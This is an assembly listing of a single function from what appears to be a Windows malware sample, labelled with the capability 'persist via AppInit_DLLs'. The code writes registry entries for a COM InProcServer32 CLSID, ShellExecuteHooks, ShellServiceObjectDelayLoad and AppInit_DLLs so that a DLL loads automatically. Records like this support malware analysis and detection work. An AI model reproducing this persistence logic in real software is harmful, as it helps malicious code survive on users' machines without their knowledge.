Function at 0x4025f7
Capabilities:
Persist via appinit_dlls registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbdc
push edi
push 0x208
lea eax, [ebp - 0x20c]
push eax
push dword [ebp + 8]
call dword [0x405afc]
push 0
push 0
push 0x104
lea eax, [ebp - 0x310]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x20c]
push eax
push 0
push 0
call dword [0x405a3c]
push str.CLSID_
lea eax, [ebp - 0x418]
push eax
call dword [0x4059f4]
lea eax, [ebp - 0x310]
push eax
lea eax, [ebp - 0x418]
push eax
call dword [0x4059f8]
push str.InProcServer32
lea eax, [ebp - 0x418]
push eax
call dword [0x4059f8]
lea eax, [ebp - 0x314]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
lea eax, [ebp - 0x418]
push eax
push 0x80000000
call dword [0x405b1c]
or eax, eax
jne 0x4026e9
push dword [ebp + 0xc]
call dword [0x4059f0]
inc eax
push eax
push dword [ebp + 0xc]
push 1
push 0
push 0
push dword [ebp - 4]
call dword [0x405b18]
push str.Apartment
call dword [0x4059f0]
inc eax
push eax
push str.Apartment
push 1
push 0
push str.ThreadingModel
push dword [ebp - 4]
call dword [0x405b18]
push dword [ebp - 4]
call dword [0x405b10]
lea eax, [ebp - 0x314]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerShellExecuteHooks
push 0x80000002
call dword [0x405b1c]
or eax, eax
jne 0x402736
push 0
push 0
push 1
push 0
lea eax, [ebp - 0x310]
push eax
push dword [ebp - 4]
call dword [0x405b18]
push dword [ebp - 4]
call dword [0x405b10]
lea eax, [ebp - 0x314]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionShellServiceObjectDelayLoad
push 0x80000002
call dword [0x405b1c]
or eax, eax
jne 0x4027af
mov edi, dword [ebp + 8]
push dword [edi]
push str._08X
lea eax, [ebp - 0x418]
push eax
call dword [0x405af8]
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
call dword [0x4059f0]
inc eax
push eax
lea eax, [ebp - 0x310]
push eax
push 1
push 0
lea eax, [ebp - 0x418]
push eax
push dword [ebp - 4]
call dword [0x405b18]
push dword [ebp - 4]
call dword [0x405b10]
push dword [ebp + 0xc]
push 0x104
lea eax, [ebp - 0x418]
push eax
call fcn.00402553
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push 0x80000002
call dword [0x405b08]
or eax, eax
jne 0x402927
mov dword [ebp - 0x424], 1
and dword [ebp - 0x41c], 0
lea eax, [ebp - 0x41c]
push eax
push 0
lea eax, [ebp - 0x424]
push eax
push 0
push str.AppInit_DLLs
push dword [ebp - 4]
call dword [0x405b14]
or eax, eax
jne 0x4028f6
add dword [ebp - 0x41c], 0x10
push dword [ebp - 0x41c]
push 0x40
call dword [0x405a24]
or eax, eax
je 0x40291e
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x424], 1
lea eax, [ebp - 0x41c]
push eax
push dword [ebp - 0x420]
lea eax, [ebp - 0x424]
push eax
push 0
push str.AppInit_DLLs
push dword [ebp - 4]
call dword [0x405b14]
or eax, eax
jne 0x4028e8
lea eax, [ebp - 0x418]
push eax
push dword [ebp - 0x420]
call dword [0x4059d0]
add esp, 8
or eax, eax
jne 0x4028e8
push dword [ebp - 0x420]
call dword [0x4059f0]
or eax, eax
je 0x4028af
push 0x404701
push dword [ebp - 0x420]
call dword [0x4059f8]
lea eax, [ebp - 0x418]
push eax
push dword [ebp - 0x420]
call dword [0x4059f8]
push dword [ebp - 0x420]
call dword [0x4059f0]
inc eax
push eax
push dword [ebp - 0x420]
push 1
push 0
push str.AppInit_DLLs
push dword [ebp - 4]
call dword [0x405b18]
push dword [ebp - 0x420]
call dword [0x405a28]
jmp 0x40291e
lea eax, [ebp - 0x418]
push eax
call dword [0x4059f0]
inc eax
push eax
lea eax, [ebp - 0x418]
push eax
push 1
push 0
push str.AppInit_DLLs
push dword [ebp - 4]
call dword [0x405b18]
push dword [ebp - 4]
call dword [0x405b10]
pop edi
leave
ret 8